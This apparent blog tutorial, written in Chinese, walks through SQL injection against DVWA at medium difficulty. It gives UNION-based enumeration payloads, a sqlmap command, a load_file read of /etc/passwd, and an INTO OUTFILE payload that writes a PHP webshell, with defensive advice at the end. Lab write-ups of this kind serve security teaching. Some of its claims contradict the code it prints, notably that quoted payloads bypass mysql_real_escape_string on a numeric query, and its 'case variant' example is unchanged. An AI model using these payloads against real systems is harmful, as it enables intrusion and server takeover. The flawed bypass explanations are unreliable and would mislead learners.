1. DVWA中等难度SQL注入实战解析
在渗透测试的学习过程中,DVWA(Damn Vulnerable Web Application)是公认的最佳实验环境之一。今天我想重点聊聊中等难度下的SQL注入漏洞利用,这个难度级别比入门级更有挑战性,但又不至于像高级难度那样需要复杂的绕过技巧,非常适合用来巩固基础并提升实战能力。
中等难度的SQL注入与初级相比主要有三个不同点:一是输入过滤机制开始生效,二是错误回显被部分屏蔽,三是需要掌握联合查询的手动构造技巧。我在本地搭建的DVWA 1.2版本上进行了完整测试,下面就把整个实战过程和关键技巧分享给大家。
1.1 环境准备与初始探测
首先确保你的DVWA环境已配置为中等安全级别:
- 登录DVWA后进入"Security"模块
- 将安全级别调整为"Medium"
- 返回"SQL Injection"页面开始测试
初始测试时输入单引号',会发现页面返回了数据库错误,这说明存在SQL注入漏洞,但与初级难度不同的是,错误信息已经被简化处理:
code复制You have an error in your SQL syntax...
这表明我们进入了中等难度的第一个挑战——有限的错误回显。此时我们需要采用更智能的探测方式。
注意:在真实环境中,遇到这种有限错误回显的情况很常见,不能依赖错误信息来推断数据库结构。
1.2 绕过基础过滤机制
输入1' or '1'='1测试时,发现被拦截了。查看源码发现中等难度使用了mysql_real_escape_string()函数进行过滤,但存在绕过可能:
php复制$id = mysql_real_escape_string($id);
经过测试,以下payload可以成功绕过:
code复制1' or 1=1#
关键点在于:
- 使用数字比较代替字符串比较
- 使用
#注释掉后续语句 - 避免使用被转义的特殊字符
1.3 手动确定字段数
在联合查询前,必须先确定当前查询返回的字段数。由于错误回显有限,我们采用order by技术:
code复制1' order by 2# -- 正常
1' order by 3# -- 报错
由此确定字段数为2。这个步骤非常重要,字段数判断错误会导致整个联合查询失败。
1.4 构造联合查询获取数据
知道字段数后,就可以构造联合查询来获取敏感信息了。完整payload如下:
code复制1' union select 1,concat_ws(':',user(),database(),version())#
返回结果示例:
code复制ID: 1'union select 1,concat_ws(':',user(),database(),version())#
First name: admin
Surname: admin
ID: 1'union select 1,concat_ws(':',user(),database(),version())#
First name: 1
Surname: root@localhost:dvwa:5.7.26
这里使用了concat_ws()函数将多个信息合并显示,因为只有两个字段可供显示。在实际测试中,你可以替换为其他想获取的数据:
code复制1' union select table_name,column_name from information_schema.columns where table_schema=database()#
1.5 自动化工具辅助测试
虽然手动注入很有教育意义,但在实际工作中我们也会使用sqlmap等工具。针对中等难度的DVWA,sqlmap命令如下:
bash复制sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=medium; PHPSESSID=your_session_id" \
--batch --dbs
关键参数说明:
--cookie:因为DVWA需要登录,必须携带会话cookiesecurity=medium:确保测试的是中等难度--batch:自动选择默认选项--dbs:枚举数据库
1.6 防御措施分析
查看DVWA中等难度的源码,主要的防御措施是:
php复制$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
这种防御存在两个问题:
- 没有使用预处理语句
- 数字型注入仍然可能
正确的防御应该采用参数化查询:
php复制$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);
2. 实战中的常见问题与解决方案
2.1 注入成功但无数据显示
有时payload执行成功但页面没有显示数据,这可能是因为:
- 原始查询返回空结果
- 联合查询的结果被前端过滤
解决方案:
- 使用
group_concat()合并多行结果 - 尝试在可见字段注入,如:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.2 过滤规则的绕过技巧
当遇到更严格的过滤时,可以尝试:
- 大小写变种:
1' OR 1=1# - 注释变形:
1' /*!or*/ 1=1# - 编码绕过:
1' %6fr 1=1#(URL编码) - 双重查询:
1' union select 1,(select database())#
2.3 性能优化技巧
在大型数据库上注入时,可以:
- 添加
LIMIT子句减少返回数据量 - 精确指定
table_schema避免扫描所有数据库 - 使用
hex()函数处理二进制数据
例如:
code复制1' union select 1,hex(load_file('/etc/passwd'))#
3. 从注入到提权的完整链条
在真实环境中,SQL注入往往只是开始。在DVWA中我们可以模拟完整的攻击链条:
- 通过注入获取管理员凭证
- 登录后台寻找文件上传点
- 上传webshell获取系统权限
- 提权至root
一个典型的提权payload示例:
code复制1' union select 1,"<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php"#
警告:此操作会修改服务器文件,仅在授权测试环境中使用。
4. 防御进阶建议
除了基本的参数化查询外,还应该:
- 实施最小权限原则,数据库用户只授予必要权限
- 启用WAF规则过滤常见注入模式
- 定期进行安全审计和渗透测试
- 记录和监控所有数据库查询
在代码层面可以:
- 使用ORM框架自动处理参数化
- 实现输入验证白名单
- 对敏感操作实施二次认证
我在实际项目中遇到过最隐蔽的注入是使用\b(退格符)绕过的案例,攻击者通过精心构造的输入,利用退格符删除了过滤函数添加的转义字符。这提醒我们安全防御必须多层纵深,不能依赖单一防护措施。